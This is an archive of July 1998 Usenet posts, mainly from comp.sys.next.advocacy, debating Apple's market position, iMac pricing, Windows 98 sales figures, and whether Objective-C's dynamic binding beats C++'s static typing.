> > > (relative to what they have now), make their platform a more
> > > attractive one as a consequence, sell more upgrades for
> > > OSX/Rhapsody, and in general get more of a toe hold. If Japan
> > > and ms teach us anything, marketshare is *the* valuable prize.
> >
> > Given the current state of the Japanese economy I don't know that
> > one should take those lessons that seriously.
>
> That's absolutely silly. They still command huge marketshare in automobiles
> and consumer electronics. If they didn't I imagine things would be much
> worse. Moreover recession is a very natural part of general economic trends
> in any country. You can bet the US will have one again sooner or later.
> Even insinuating that obtaining more marketshare in someway contributes to
> recession is silly.
The comment was intended as somewhat of a joke. Oh well. There are more
important things than marketshare. If you look at those car companies you
will find that only 2 of them are really making money (Toyota and Honda)
the same is true of a number of those consumer electronics companies.
There is no point in building marketshare if you are going to lose money
at it. What Japan is experiencing is more than a recession. With the
exclusion of the the 1973 oil shock recession, this is the worst and
longest downturn Japan's economy has seen since the end of the war. It is
expected that the economy will actually shrink this year. There are some
major structural problems in the Japenese economy (particularly the
financial system) that need to be addressed. Yes the US will have another
recession. Hopefully it will not be bad. There are sturctural problems in
the US economy as well but they are not as severe.
I did not insinuate that building marketshare contributes to recession
only that building marketshare is NOT *the* valuable prize, efficiency and
profitablity are. To some extent the pursuit of Marketshare over all other
goals by a large number japaneses companies has left them with a large
amount of unused capacity that is contributing to the countries current
problems. This problem is much worse in Korea which is also full of large
companies that followed a strategy of marketshare over everything else. I
am not going to argue about the state of the Japenese economy in a
computer advocacy group.
From: Eric Hermanson <eric@alum.mit.edu>
Newsgroups: comp.sys.next.advocacy
Subject: It doesn't add up
Date: Fri, 17 Jul 1998 00:29:32 -0700
Organization: Digital Universe Corporation
Message-ID: <35AEFD5C.6D10D573@alum.mit.edu>
Mime-Version: 1.0
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NNTP-Posting-Date: 17 Jul 1998 07:29:51 GMT
Either Microsoft is charging $150/copy for Windows 98 (which we know isn't true,
because you can get it for under $80 in most outlets), or, Microsoft is
completely making up their Windows 98 sales and revenues numbers:
From http://cnnfn.com/digitaljam/9807/16/microsoft
"Microsoft said more than 1 million copies of Windows 98 were sold in North
America since the product's June 25 release, generating $150 million in revenues
during the quarter."
Are they including a "State of Microsoft" tax rate of 100% in their figures?
Revenues of $150 million would indicate roughly 3 million copies of Win 98
sold. If they really sold 3 million copies, we wouldn't be hearing the end of
it (and they certainly wouldn't be announcing a 1 million copy figure). The
whole thing just doesn't add up.
Eric
From: id_est@interport.net (tse_di)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Profits up, revenues continue to slide
Date: Fri, 17 Jul 1998 04:04:51 -0400
Organization: none
Message-ID: <id_est-1707980404520001@192.168.1.3>
References: <6oj739$aqu$1@lwnws01.ne.highway1.com> <rmcassid-1507981623500001@dante.eng.uci.edu> <6ojtmb$otj$2@lwnws01.ne.highway1.com> <rmcassid-1607980934480001@dante.eng.uci.edu> <6olevn$pgd$2@lwnws01.ne.highway1.com> <id_est-1607982337110001@192.168.1.3> <6omp04$m5t$1@lwnws01.ne.highway1.com> <id_est-1707980328040001@192.168.1.3> <6omvac$q8u$1@lwnws01.ne.highway1.com>
In article <6omvac$q8u$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> id_est@interport.net (tse_di) wrote:
> > I did not insinuate that building marketshare contributes to recession
> > only that building marketshare is NOT *the* valuable prize, efficiency and
> > profitablity are. To some extent the pursuit of Marketshare over all other
> > goals by a large number japaneses companies has left them with a large
> > amount of unused capacity that is contributing to the countries current
> > problems. This problem is much worse in Korea which is also full of large
> > companies that followed a strategy of marketshare over everything else. I
> > am not going to argue about the state of the Japenese economy in a
> > computer advocacy group.
>
> Seems you're doing precisely what you espouse not to! Regardless, I disagree
> with what you have put up thusfar, which is fine because we're not really
> getting deep into it and that may account for a lot of things. I also agree
> with the spirit, let's put a bullet in this diatribe. :)
Dead
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
Date: Fri, 17 Jul 1998 07:28:17 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6omueh$1vc$1@nnrp1.dejanews.com>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <3599148B.1B14@exu.ericsson.se> <6nakg1$r2h$15@ns3.vrx.net> <6o2e5p$q2u$1@news.cs.tu-berlin.de> <1dbwpln.1hul373c7z78eN@dialup207-3-17.swipnet.se> <6o32eu$ljg1@odie.mcleod.net> <6ogmq6$5dp$1@nnrp1.dejanews.com> <1dc804m.mwatig1uf62gwN@rhrz-isdn3-p14.rhrz.uni-bonn.de> <6okg1v$puc$3@leonie.object-factory.com> <1dc9g6m.1vb5kt51h8o4hmN@dialup184-3-49.swipnet.se> <6ologe$j7d$1@nnrp1.dejanews.com> <1dca8fk.10zu3f41266yiqN@dialup184-3-49.swipnet.se>
In article <1dca8fk.10zu3f41266yiqN@dialup184-3-49.swipnet.se>,
lars.farm@ite.mh.se (Lars Farm) wrote:
> Of course it doesn't work. Why should it? CA and CB are completely
> unrelated and your code is simply not valid. Dynamic binding has nothing
> whatsoever to do with it. Also, even if CB::print by some form of divine
> intervention or pure luck really was called, how could you tell?
You'd tell because it printing something instead of crashing. The fact that
it crashes makes my point, I believe. In C++, you need to know an objects
type to call a method. That's why it crashed when I convinced it that it was
of a different type. In Objective-C, it doesn't need to know the type because
it actually has dynamic binding. C++ only has late binding. You can't really
see that because of C++'s typing rules but it is still the case. Here is
another example... Write an array class that allows you add any object to the
array. Then, for debugging purposes, traverse the array and call the
DebugPrint method for every every object that implements such a method. In
Objective-C or Java this would be trivial. In C++ it's impossible.
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From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Profits up, revenues continue to slide
Date: 17 Jul 1998 07:43:08 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6omvac$q8u$1@lwnws01.ne.highway1.com>
References: <6oj739$aqu$1@lwnws01.ne.highway1.com> <rmcassid-1507981623500001@dante.eng.uci.edu> <6ojtmb$otj$2@lwnws01.ne.highway1.com> <rmcassid-1607980934480001@dante.eng.uci.edu> <6olevn$pgd$2@lwnws01.ne.highway1.com> <id_est-1607982337110001@192.168.1.3> <6omp04$m5t$1@lwnws01.ne.highway1.com> <id_est-1707980328040001@192.168.1.3>
id_est@interport.net (tse_di) wrote:
> I did not insinuate that building marketshare contributes to recession
> only that building marketshare is NOT *the* valuable prize, efficiency and
> profitablity are. To some extent the pursuit of Marketshare over all other
> goals by a large number japaneses companies has left them with a large
> amount of unused capacity that is contributing to the countries current
> problems. This problem is much worse in Korea which is also full of large
> companies that followed a strategy of marketshare over everything else. I
> am not going to argue about the state of the Japenese economy in a
> computer advocacy group.
Seems you're doing precisely what you espouse not to! Regardless, I disagree
with what you have put up thusfar, which is fine because we're not really
getting deep into it and that may account for a lot of things. I also agree
with the spirit, let's put a bullet in this diatribe. :)
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@mediaone.net
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
Newsgroups: comp.sys.next.advocacy
From: edew@netcom.com (Eric Dew)
Subject: Re: Profits up, revenues continue to slide
Message-ID: <edewEw8FEq.HpI@netcom.com>
Sender: edew@netcom20.netcom.com
Organization: Netcom Online Communications Services (408-241-9760 login: guest)
References: <6oktri$frj$1@lwnws01.ne.highway1.com> <edewEw7oKo.3A1@netcom.com> <6ompst$m5t$4@lwnws01.ne.highway1.com>
Date: Fri, 17 Jul 1998 09:23:14 GMT
>Computers *are* a commodity. And the vast majority of the market sees them
>just that way. Apple has avoided competing on price/performance basis, and
>it's success can be in part attributed to such BOZO marketing.
>
>--
>Thanks, be well, take care, later, John Kheit; self expressed...
By commodity, I mean a product which is sold (or not) based solely on its
price. In this case, computers are definitely not a commodity. You
can increase "value" by making it look cooler (like the Rock City computers,
that is, if you think a black cube on its corner is cool), you can make
it expandable, you can make it easy to use, you can offer lots of software
or lots of extra hardware. The fact that computer companies can tune
the type of computer to buyers' preferences makes it NOT a commodity (in
my definition above...oil is a commodity because -- aside from gullible
sports car drivers -- any one type of oil is as good as another, the only
issue is the price).
So, computer sellers CAN create marketing niches for themselves. Anyone
needing a serious database server will pay plenty for a SUN or IBM
mainframe or Amdahl's machines rather than a Compaq or Dell server, and it's
clearly not because of the price. However, a not-so-serious DB server
could use a Dell or Compaq.
Desktop publishing work with Apple stuff because they prefer them over
Windows, not because they're cheaper.
EDEW
From: "Ziya Oz" <ZiyaOz@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple heading to obscurity?
Date: Fri, 17 Jul 1998 05:24:56 -0400
Organization: BM
Message-ID: <6on4ur$742$1@ash.prod.itd.earthlink.net>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com>
<35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com>
<macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net>
<6oe13t$hm7$1@news.digifix.com> <not-1307981747020001@3-86.phx.psn.net>
<6oeict$msj$1@news.digifix.com> <not-1407981048300001@2-25.phx.psn.net>
<6okmrf$10j$3@ironhorse.plsys.co.uk>
Mime-Version: 1.0
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mmalcolm crawford <malcolm@plsys.co.uk> wrote:
>For what it's worth, I assure you Scott's sources are more higher level than
>the intern toilet washer. You're probably unaware of how close a community
>the NeXT group was; many of our ex-NeXT net.friends in Apple have positions
>of seniority.
Crap.
So there was a disconnect with you and those in positions of seniority at Apple
around the time of WWDC, huh?
As in:
Subject: Re: If Rhapsody is alive...
From: mmalcolm crawford <malcolm@plsys.co.uk>
Date: 1998/04/23
Message-ID: <6hn2h6$57p$23@ironhorse.plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
[..]
>(2) I don't think some Mac developers have quite twigged yet to where Apple
>is going, and they're going to be in for a shock at WWDC.
[..]
I guess you missed Carbon :-)
Subject: Re: Yellowbox programming, and ragosta
From: mmalcolm crawford <malcolm@plsys.co.uk>
Date: 1998/05/12
Message-ID: <6j8800$1cc$6@ironhorse.plsys.co.uk>
Newsgroups:
comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.programmer
[..]
>I do sometimes get things badly wrong, not least very recently in my
>expectations of how things would be announced at WWDC. I hope I'll always
>have the good grace to admit my errors in future too, though.
[..]
Ziya
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
From: lars.farm@ite.mh.se (Lars Farm)
Message-ID: <1dcb1pl.1tr6gkr15kt7l2N@dialup203-2-33.swipnet.se>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <3599148B.1B14@exu.ericsson.se> <6nakg1$r2h$15@ns3.vrx.net> <6o2e5p$q2u$1@news.cs.tu-berlin.de> <1dbwpln.1hul373c7z78eN@dialup207-3-17.swipnet.se> <6o32eu$ljg1@odie.mcleod.net> <6ogmq6$5dp$1@nnrp1.dejanews.com> <1dc804m.mwatig1uf62gwN@rhrz-isdn3-p14.rhrz.uni-bonn.de> <6okg1v$puc$3@leonie.object-factory.com> <1dc9g6m.1vb5kt51h8o4hmN@dialup184-3-49.swipnet.se> <6omdu6$i1q3@odie.mcleod.net>
Organization: pv
Date: Fri, 17 Jul 1998 09:57:00 GMT
NNTP-Posting-Date: Fri, 17 Jul 1998 11:57:00 MET DST
Michelle L. Buck <buck.erik@mcleod.net> wrote:
> Lars, you just don't get it.
All I ask is that you get the facts straight. You criticize c++ on false
grounds. Stick to facts and opinion. I react to false statements. Kind
of amusing that false criticism is used since there are many things
about c++ to dislike. No need for false statements.
I suppose the bottom line is "use YB". Sure, I have no problem with
that. The YB frameworks seems quite nice to me, but the language
Objective C has not impressed me in any way. My number one and two
complaints about Objective C are the same as my number one and two
complaints about C++. (1) No garbage collection and (2) they are both
rooted in C which IMO is an awful and horrid little language. In C++ it
is easy to get GC by using Boehms free and excellent collector. YB (the
frameworks) prevents the use of a conservative collector (the kind that
could be used with Objective C or C++) - this is very bad.
I use and actually like C++, but the C-parts of C++ is the price I pay
for the good parts. I use "++" to hide "C". Dropping "++" leaves "C"
fully exposed and until YB was presented I would never have dreamt of
switching to another language based on C. There is simply too much wrong
with C. These things are IMO more damaging than the things we discuss
here.
> You keep saying things that suggest that you can not imagine a use for LATE
> binding.
Did I say that? Seems we use different terminology. I'm not familiar
with your term "late binding". The relevant terms I'm aware of are
static/dynamic binding, static/dynamic typing, strong/weak typing. The
linking process has also been on the table. They are all distinct and
orthogonal concepts.
We can remove the linking process, because you could link anytime
between on the one extreme: link on demand, function by function as they
are called or the other extreme: as they are written. There is no
language limitation there.
Then there is static/dynamic binding. I can't see any limitation here
either. No one has been able to show that this is different in C++/OC.
Your most frequent complaint seems to land in strong/weak typing. That
is, classes with similarly named methods, but otherwise unrelated
are/are not interchangeable in the two languages. OTOH you call this
binding which is something quite different to me. Do you find "class" a
limiting concept? Coupling behaviour to class is bad? It's not clear to
me where your complaint really is. Please explain.
It appears that you don't want static typing either. That is, type
compatibility checked at runtime is somehow preferable to compile time
checks? Perhaps because of some interaction with strong/weak typing?
Please explain.
So, what do you mean by late binding? How would you describe late
binding using the terms above?
> I cite the following uses:
> Java beans,
Well, this doesn't tell me anything. I'm not familiar with Java beans.
> plugins,
> distributed/remote objects without need for IDL,
> native language message passing in GUI's,
How about direct-to-som compilers for those three? Still flexible. Use
your favourite language.
> reduced need for common design patterns,
> reduced complexity of implementation of common design patterns,
> language bridges to interpreted languages like Tcl, perl, and python,
?
> collection classes in general,
Hmm, I have no problem using general purpose collection clases in C++.
They are different from those in dynamic languages, but quite general
and usefull.
> shared libraries that can change independent of the applications compiled
> against them,
> and reduction of the fragile base class problem.
?
- Lars
--
Lars Farm; lars.farm@ite.mh.se - Limt/Channelmatic: lars.farm@limt.se
Date: Fri, 17 Jul 1998 06:25:02 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-1707980625020001@elk84.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6oae9f$7sf@netnews.hinet.net> <6od8vj$e54$1@nnrp1.dejanews.com> <gmgraves-1307981113030001@sf-pm5-24-88.dialup.slip.net> <Josh.McKee-1307982024580001@pm3a3.rmac.net> <gmgraves-1407980930580001@sf-usr1-43-171.dialup.slip.net> <Josh.McKee-1407981853200001@pm3a4.rmac.net> <gmgraves-1507981228010001@sf-usr1-30-158.dialup.slip.net> <6ojb7i$90f$1@nnrp1.dejanews.com> <gmgraves-1607981336280001@sf-pm5-16-80.dialup.slip.net> <6omtlg$an$1@nnrp1.dejanews.com>
In article <6omtlg$an$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <gmgraves-1607981336280001@sf-pm5-16-80.dialup.slip.net>,
> gmgraves@slip.net (George Graves) wrote:
> >> But there is no way that Apple can claim that MacOS 8 is their next
> >> generation operating system.
> >
> > They don't. Your Point?
>
> > It isn't even as revolutionary as the change from System 6 +
> > > multifinder -> System 7.
> >
> > Again, your point?
> >
> > OS8 and OS9 are compatibility OSes designed to support 601, 603 and
> > 604 based Macs until those machines have outlived their service lives.
> > Nothing more. They will add new features and be able to run Carbon
> > modified apps, but Apple is making no claims for PMT et al.
>
> Before Apple killed copland, they said that all PowerMacs (including my 6100)
> would run their "next generation operating system." If, as you concede, MacOS
> 8 and 9 do not fit this criteria then Apple was lying to their customers.
> That's my point.
That was also several years ago and long before they changed management.
The old management was canned precisely because they _couldn't_ meet their
promises. Let's judge the current management team by what _they_ have
promised, not by what the previous management promised.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 17 Jul 1998 06:23:55 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-1707980623560001@elk84.dol.net>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <gmgraves-1407980916110001@sf-usr1-43-171.dialup.slip.net> <6oggrh$ed9$1@news.digifix.com> <gmgraves-1507981145460001@sf-usr1-30-158.dialup.slip.net> <6oj36m$bgq$1@news.digifix.com> <gmgraves-1607981329400001@sf-pm5-16-80.dialup.slip.net> <6olsfi$jeh$3@server.signat.org> <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net>
In article <gmgraves-1607982131240001@sf-pm5-7-71.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> In article <6olsfi$jeh$3@server.signat.org>, maury@remove_this.istar.ca
> (Maury Markowitz) wrote:
>
> >
> > No, the best thing would be for the iMac to sell truckloads, and capture
> > even more press. Everyone seems to think this is a done deal. You don't
> > have to sell the company off for it to do well - obviously - and what can
> > those companies do that Steve hasn't already?
>
> Run the company like adults on a permanent basis. Restore some of the
> lost credibility, move Apple toward being a mainstream computer, instead
> of being an isolated curiosity, reinstate clones.
And Apple has done all of that over the past year.
It's finally getting respect from Wall Street (still a few grumbles, but
lots of respect).
The iMac wasn't targeted at Mac users alone--it's been all over the
mainstream press and is clearly appealing to some former PC users.
Credibility? 3 quarters of consecutive profits (at least two of them
vastly exceeding consensus estimates) help a lot. Shipping products on
time (consistently over the past year) also helps.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 17 Jul 1998 10:32:57 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6on98p$68a$3@sun27.hrz.tu-darmstadt.de>
References: <pxpst2-1607981145120001@pelli.pathology.pitt.edu> <B1D3E7F9-6105F@206.165.43.46>
"Lawson English" <english@primenet.com> wrote:
>So how many in the NeXT community were aware that DPS was to be killed
>before it happened? Where were Scott's friends at that point?
Quite a few. I'm sure Scott did, too. However, unlike a certain bunch
of people that run a certain Website, Scott doesn't publish rumors,
especially not if they would hurt Apple.
Best regards, Chris
--
// Christian Neuss "static typing? how quaint.."
// http://www.nexttoyou.de/~neuss/
// fax: (+49) 6151 16 5472
From: a9226931@unet.univie.ac.at --- Christian Benesch
Newsgroups: comp.sys.next.advocacy
Subject: Re: Profits up, revenues continue to slide
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: jkheit@mediaone.net
References: <6oj739$aqu$1@lwnws01.ne.highway1.com> <rmcassid-1507981623500001@dante.eng.uci.edu>
<6ojtmb$otj$2@lwnws01.ne.highway1.com>
Message-ID: <35ae7297.0@news.telekabel.at>
Date: 16 Jul 1998 23:37:27 +0100
In <6ojtmb$otj$2@lwnws01.ne.highway1.com> John Kheit wrote:
> rmcassid@uci.edu (Robert Cassidy) wrote:
> > They just need to get unit shipments and revenues up. Some concern with
> > iMac still being impacted through October, though. Don't look for a price
> > drop on iMac _this_ year, I think.
>
> Which is a real shame, b/c if they released the imac for 999, it would make
> all the difference in the world. It would just tear new aholes in the
> market. At 1300bux, it really is not all that competitive to the wintel
> market, unfortunatly. Still very cute and cool. I might even get one;
when
> it goes down to 999 that is. (woowhoo :)
>
>
As I understand it,$1290 will be the list price.
How are chances that actual retail prices are significantly lower?
Christian Benesch
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
From: Tyler Riti <fizzboy@mail.utexas.edu>
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
In-Reply-To: <stevehix-1607982030060001@ip30.safemail.com>
Message-ID: <Pine.BOS.3.96.980717065604.278E-100000@fbnp>
References: <6oj5a0$goe$1@hole.sdsu.edu> <B1D27F61-1F256@206.165.43.178> <6ojoum$tvm$1@nnrp1.dejanews.com> <6okstp$mkm@nntp02.primenet.com> <gmgraves-1607981316130001@sf-pm5-16-80.dialup.slip.net> <35AE858A.2576@betabreakers.com> <stevehix-1607982030060001@ip30.safemail.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Date: Fri, 17 Jul 1998 11:57:20 GMT
NNTP-Posting-Date: Fri, 17 Jul 1998 06:57:20 CDT
On Thu, 16 Jul 1998, Steve Hix wrote:
>> > No, a GUI has failed when it has no MAJOR applications. Be still has no
>> > support from the major players.
>
>> So Sun, SGi and HP have all "failed" cause they dont have suport from MS
>> or other people that rigth the crap we all have to use at our office?
>
>Sun and HP *are* "major players".
Be has support from Intel. Is that major enough for you?
Tyler Riti -- http://www.cs.utexas.edu/users/fizzboy/
"Tears, happiness... The two are interchangable."
From: boehring@biomed.ruhr-uni-bochum.de (Daniel Boehringer)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
Date: 17 Jul 1998 12:01:13 GMT
Organization: Ruhr-Universitaet Bochum, Rechenzentrum
Message-ID: <6onee9$7uq$1@sun579.rz.ruhr-uni-bochum.de>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <3599148B.1B14@exu.ericsson.se> <6nakg1$r2h$15@ns3.vrx.net> <6o2e5p$q2u$1@news.cs.tu-berlin.de> <1dbwpln.1hul373c7z78eN@dialup207-3-17.swipnet.se> <6o32eu$ljg1@odie.mcleod.net> <6ogmq6$5dp$1@nnrp1.dejanews.com> <1dc804m.mwatig1uf62gwN@rhrz-isdn3-p14.rhrz.uni-bonn.de> <6okg1v$puc$3@leonie.object-factory.com> <1dc9g6m.1vb5kt51h8o4hmN@dialup184-3-49.swipnet.se> <6ologe$j7d$1@nnrp1.dejanews.com> <1dca8fk.10zu3f41266yiqN@dialup184-3-49.swipnet.se>
lars.farm@ite.mh.se (Lars Farm) wrote:
><quinlan@intergate.bc.ca> wrote:
>
[c++ example showing that you can not invoke methods of objects you do not know the type of]
>>
>> But this code will probably crash. It did on my computer (as it should have
>> because C++ doesn't feature dynamic binding). If you want, I'll write the
>> equivalent Objective-C code for you (which will work because Objective-C does
>> feature dynamic binding).
>
>Of course it doesn't work. Why should it? [...]
this is when it comes to distributed objects, apis and protocols:
given that you use an api that returns you an object for general usage:
In ObjC you can simply make the returned object perform methods you like (cast the object to a specific protocol
in order to avoid compiler warnings).
this happens to make it easy to support an api in application developement (simply return any living object from
inside the app, no extra developement needed). In C++ you would have to explicitly code api-classes and supply
specific header files.
this is a strong pro for the ObjC approach IMHO.
daniel
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
From: lars.farm@ite.mh.se (Lars Farm)
Message-ID: <1dcb92o.1bgeyrfiri75sN@dialup203-2-33.swipnet.se>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <6on25m$pdi$1@news.cs.tu-berlin.de>
Organization: pv
Date: Fri, 17 Jul 1998 12:04:33 GMT
NNTP-Posting-Date: Fri, 17 Jul 1998 14:04:33 MET DST
Marcel Weiher <marcel@cs.tu-berlin.de> wrote:
> That's an interesting interpretation, but it doesn't really jive
> well with the development history of C++. The v-tables were the
> primary factor, the typing restriction a result of the v-table
> requirement.
It may not jive well with your perception, but it does match the langage
specification as well as statements by Stroustrup.
> > There are differences, but they have to do with ...
> >(2) Type compatibility: [...].
>
> This has nothing to do with strong or weak typing, as a selector does
> contain a full signature. The only difference is that C++ imposes an
> additional requirement that has nothing to do with strong type-safety.
I was told that a ST/OC selector represented information about (1)
function name and (2) number of operands. This limits tests for what
types are compatible. C++ adds (3) type for each argument and also (4)
the class the method belongs to. That is: type compatibility in ST/OC is
{1,2} where type compatibility in C++ is {1,2,3,4}.
Isn't that a difference?
> (3) Time for type compatibility test: [...]
> The difference is that they
> also *allow* expressions that cannot be type-checked at compile-time
> but must be checked at runtime. Static languages simply disallow
> those kinds of statements.
Isn't that a difference?
> It is clear enough, but wrong. The difference is very clearly binding,
> because the dynamic binding of ST/Objective-C goes far beyond the late
> binding of C++.
So we have a communication problem. We don't use the same definition of
terms. Please describe what you mean by dynamic binding, late binding
and also what you think the terms I use really mean.
- Lars
--
Lars Farm; lars.farm@ite.mh.se - Limt/Channelmatic: lars.farm@limt.se
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
Date: 17 Jul 1998 12:16:57 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6onfbp$45t$1@news.cs.tu-berlin.de>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <
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lars.farm@ite.mh.se (Lars Farm) writes:
[...]
>Your most frequent complaint seems to land in strong/weak typing. That
>is, classes with similarly named methods, but otherwise unrelated
>are/are not interchangeable in the two languages.
The problem here is your emphasis on the class. The class is an implementation
construct used to organize objects/methods. Once again, for a particular
method, the *class* of an argument is irrelevant. The only thing that is
important is wether the *object* can respond to the necessary messages.
Unrelated classes conforming to the same protocols *are* interchangeable.
>OTOH you call this
>binding which is something quite different to me. Do you find "class" a
>limiting concept? Coupling behaviour to class is bad? It's not clear to
>me where your complaint really is. Please explain.
Coupling typing to classes is bad.
>It appears that you don't want static typing either. That is, type
>compatibility checked at runtime is somehow preferable to compile time
>checks? Perhaps because of some interaction with strong/weak typing?
>Please explain.
Once again, coupling typing to classes is not required for static typing.
Dynamic binding allows statically-typed programs without the class
restriction. It also allows programs that cannot be type-checked
completely at compile-time. It is of course possible to build your
own dynamic run-time on top of a static language, but that's really
a rather brain-dead solution.
[..]
>> plugins,
>> distributed/remote objects without need for IDL,
>> native language message passing in GUI's,
>How about direct-to-som compilers for those three? Still flexible. Use
>your favourite language.
Too complicated, no integration, multiple messaging systems with complicated
bridging requirements when only one is needed, code-generation with all its
problems, etc.
>> reduced need for common design patterns,
>> reduced complexity of implementation of common design patterns,
>> language bridges to interpreted languages like Tcl, perl, and python,
>?
